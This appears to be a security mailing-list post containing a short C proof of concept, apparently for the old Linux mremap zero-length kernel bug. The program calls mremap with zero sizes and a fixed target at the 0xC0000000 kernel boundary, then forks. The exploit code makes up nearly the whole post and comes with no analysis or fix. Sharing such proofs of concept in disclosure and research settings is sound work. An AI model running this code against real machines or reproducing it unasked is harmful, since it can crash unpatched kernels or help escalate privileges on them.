/* Extraido de LFS-Security */ #include <asm/unistd.h> #include <sys/mman.h> #include <unistd.h> #include <errno.h> #define MREMAP_MAYMOVE 1 #define MREMAP_FIXED 2 #define __NR_real_mremap __NR_mremap
static inline _syscall5( void *, real_mremap, void *, old_address,
size_t, old_size, size_t, new_size,
unsigned long, flags, void *, new_address );
int main( void )
{
void *base;
base = mmap( NULL, 8192, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, 0, 0 );
real_mremap( base, 0, 0, MREMAP_MAYMOVE | MREMAP_FIXED,
(void *) 0xC0000000 );
fork();
return( 0 );
}
--------------------------
Alberto Ferrer
[EMAIL PROTECTED]
http://www.barrahome.org
JID: [EMAIL PROTECTED]
--------------------------
SNMP = Security? Not My Problem!
pgp00000.pgp
Description: PGP signature
